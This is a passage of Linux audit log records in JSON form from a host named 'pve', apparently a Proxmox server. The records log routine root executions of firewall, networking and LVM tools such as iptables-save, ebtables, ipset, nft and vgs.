type=PATH msg=audit(1781964935.664:63281): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935664,"@rawstring":"node=pve type=PATH msg=audit(1781964935.664:63281): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935659,"@rawstring":"node=pve type=PATH msg=audit(1781964935.659:63279): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935659,"@rawstring":"node=pve type=PATH msg=audit(1781964935.659:63279): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935654,"@rawstring":"node=pve type=PATH msg=audit(1781964935.654:63278): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935654,"@rawstring":"node=pve type=PATH msg=audit(1781964935.654:63278): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935648,"@rawstring":"node=pve type=PATH msg=audit(1781964935.648:63277): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935648,"@rawstring":"node=pve type=PATH msg=audit(1781964935.648:63277): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935642,"@rawstring":"node=pve type=PATH msg=audit(1781964935.642:63276): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935642,"@rawstring":"node=pve type=PATH msg=audit(1781964935.642:63276): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935636,"@rawstring":"node=pve type=PATH msg=audit(1781964935.636:63275): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935636,"@rawstring":"node=pve type=PATH msg=audit(1781964935.636:63275): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935631,"@rawstring":"node=pve type=PATH msg=audit(1781964935.631:63274): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935631,"@rawstring":"node=pve type=PATH msg=audit(1781964935.631:63274): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935625,"@rawstring":"node=pve type=PATH msg=audit(1781964935.625:63273): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935625,"@rawstring":"node=pve type=PATH msg=audit(1781964935.625:63273): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935618,"@rawstring":"node=pve type=PATH msg=audit(1781964935.618:63272): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935618,"@rawstring":"node=pve type=PATH msg=audit(1781964935.618:63272): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935614,"@rawstring":"node=pve type=PATH msg=audit(1781964935.614:63271): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935614,"@rawstring":"node=pve type=PATH msg=audit(1781964935.614:63271): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935610,"@rawstring":"node=pve type=PATH msg=audit(1781964935.610:63270): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935610,"@rawstring":"node=pve type=PATH msg=audit(1781964935.610:63270): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935608,"@rawstring":"node=pve type=PATH msg=audit(1781964935.608:63269): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935608,"@rawstring":"node=pve type=PATH msg=audit(1781964935.608:63269): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935608,"@rawstring":"node=pve type=PATH msg=audit(1781964935.608:63268): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935603,"@rawstring":"node=pve type=PATH msg=audit(1781964935.603:63267): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935603,"@rawstring":"node=pve type=PATH msg=audit(1781964935.603:63267): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935603,"@rawstring":"node=pve type=PATH msg=audit(1781964935.603:63267): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935597,"@rawstring":"node=pve type=PATH msg=audit(1781964935.597:63266): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935597,"@rawstring":"node=pve type=PATH msg=audit(1781964935.597:63266): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935590,"@rawstring":"node=pve type=PATH msg=audit(1781964935.590:63265): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935590,"@rawstring":"node=pve type=PATH msg=audit(1781964935.590:63265): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935585,"@rawstring":"node=pve type=PATH msg=audit(1781964935.585:63264): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935585,"@rawstring":"node=pve type=PATH msg=audit(1781964935.585:63264): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935579,"@rawstring":"node=pve type=PATH msg=audit(1781964935.579:63263): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935579,"@rawstring":"node=pve type=PATH msg=audit(1781964935.579:63263): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935571,"@rawstring":"node=pve type=PATH msg=audit(1781964935.571:63262): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935571,"@rawstring":"node=pve type=PATH msg=audit(1781964935.571:63262): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964934385,"@rawstring":"node=pve type=PATH msg=audit(1781964934.385:63261): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964934385,"@rawstring":"node=pve type=PATH msg=audit(1781964934.385:63261): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964934351,"@rawstring":"node=pve type=PATH msg=audit(1781964934.351:63260): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964934351,"@rawstring":"node=pve type=PATH msg=audit(1781964934.351:63260): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964931175,"@rawstring":"node=pve type=PATH msg=audit(1781964931.175:63259): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964931175,"@rawstring":"node=pve type=PATH msg=audit(1781964931.175:63259): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964931175,"@rawstring":"node=pve type=PATH msg=audit(1781964931.175:63258): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964931175,"@rawstring":"node=pve type=PATH msg=audit(1781964931.175:63257): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964931169,"@rawstring":"node=pve type=PATH msg=audit(1781964931.169:63256): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964931169,"@rawstring":"node=pve type=PATH msg=audit(1781964931.169:63256): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964931169,"@rawstring":"node=pve type=PATH msg=audit(1781964931.169:63255): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964931169,"@rawstring":"node=pve type=PATH msg=audit(1781964931.169:63254): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964926160,"@rawstring":"node=pve type=PATH msg=audit(1781964926.160:63253): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964926160,"@rawstring":"node=pve type=PATH msg=audit(1781964926.160:63253): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964926160,"@rawstring":"node=pve type=PATH msg=audit(1781964926.160:63252): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964926160,"@rawstring":"node=pve type=PATH msg=audit(1781964926.160:63251): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964926152,"@rawstring":"node=pve type=PATH msg=audit(1781964926.152:63250): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964926152,"@rawstring":"node=pve type=PATH msg=audit(1781964926.152:63250): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964926152,"@rawstring":"node=pve type=PATH msg=audit(1781964926.152:63249): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964926152,"@rawstring":"node=pve type=PATH msg=audit(1781964926.152:63248): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925561,"@rawstring":"node=pve type=PATH msg=audit(1781964925.561:63247): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925561,"@rawstring":"node=pve type=PATH msg=audit(1781964925.561:63247): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925558,"@rawstring":"node=pve type=PATH msg=audit(1781964925.558:63246): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925558,"@rawstring":"node=pve type=PATH msg=audit(1781964925.558:63246): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925558,"@rawstring":"node=pve type=PATH msg=audit(1781964925.558:63245): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925558,"@rawstring":"node=pve type=PATH msg=audit(1781964925.558:63245): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925558,"@rawstring":"node=pve type=PATH msg=audit(1781964925.558:63244): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925554,"@rawstring":"node=pve type=PATH msg=audit(1781964925.554:63243): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925554,"@rawstring":"node=pve type=PATH msg=audit(1781964925.554:63243): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925554,"@rawstring":"node=pve type=PATH msg=audit(1781964925.554:63243): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925547,"@rawstring":"node=pve type=PATH msg=audit(1781964925.547:63242): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925547,"@rawstring":"node=pve type=PATH msg=audit(1781964925.547:63242): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925541,"@rawstring":"node=pve type=PATH msg=audit(1781964925.541:63241): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925541,"@rawstring":"node=pve type=PATH msg=audit(1781964925.541:63241): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925535,"@rawstring":"node=pve type=PATH msg=audit(1781964925.535:63240): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925535,"@rawstring":"node=pve type=PATH msg=audit(1781964925.535:63240): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925528,"@rawstring":"node=pve type=PATH msg=audit(1781964925.528:63239): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925528,"@rawstring":"node=pve type=PATH msg=audit(1781964925.528:63239): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925522,"@rawstring":"node=pve type=PATH msg=audit(1781964925.522:63237): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925522,"@rawstring":"node=pve type=PATH msg=audit(1781964925.522:63237): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925517,"@rawstring":"node=pve type=PATH msg=audit(1781964925.517:63236): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925517,"@rawstring":"node=pve type=PATH msg=audit(1781964925.517:63236): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925511,"@rawstring":"node=pve type=PATH msg=audit(1781964925.511:63235): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925511,"@rawstring":"node=pve type=PATH msg=audit(1781964925.511:63235): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925506,"@rawstring":"node=pve type=PATH msg=audit(1781964925.506:63234): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925506,"@rawstring":"node=pve type=PATH msg=audit(1781964925.506:63234): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925500,"@rawstring":"node=pve type=PATH msg=audit(1781964925.500:63233): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925500,"@rawstring":"node=pve type=PATH msg=audit(1781964925.500:63233): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925495,"@rawstring":"node=pve type=PATH msg=audit(1781964925.495:63232): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925495,"@rawstring":"node=pve type=PATH msg=audit(1781964925.495:63232): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925488,"@rawstring":"node=pve type=PATH msg=audit(1781964925.488:63231): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925488,"@rawstring":"node=pve type=PATH msg=audit(1781964925.488:63231): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925481,"@rawstring":"node=pve type=PATH msg=audit(1781964925.481:63230): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925481,"@rawstring":"node=pve type=PATH msg=audit(1781964925.481:63230): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925478,"@rawstring":"node=pve type=PATH msg=audit(1781964925.478:63229): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925478,"@rawstring":"node=pve type=PATH msg=audit(1781964925.478:63229): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925474,"@rawstring":"node=pve type=PATH msg=audit(1781964925.474:63228): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 